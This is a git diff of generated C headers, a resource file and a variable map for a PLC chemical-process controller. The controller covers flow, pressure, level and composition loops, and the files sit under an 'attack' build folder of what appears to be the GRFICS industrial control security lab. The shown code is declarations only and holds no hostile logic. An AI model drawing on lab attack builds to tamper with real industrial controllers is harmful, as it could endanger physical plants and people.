+#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; 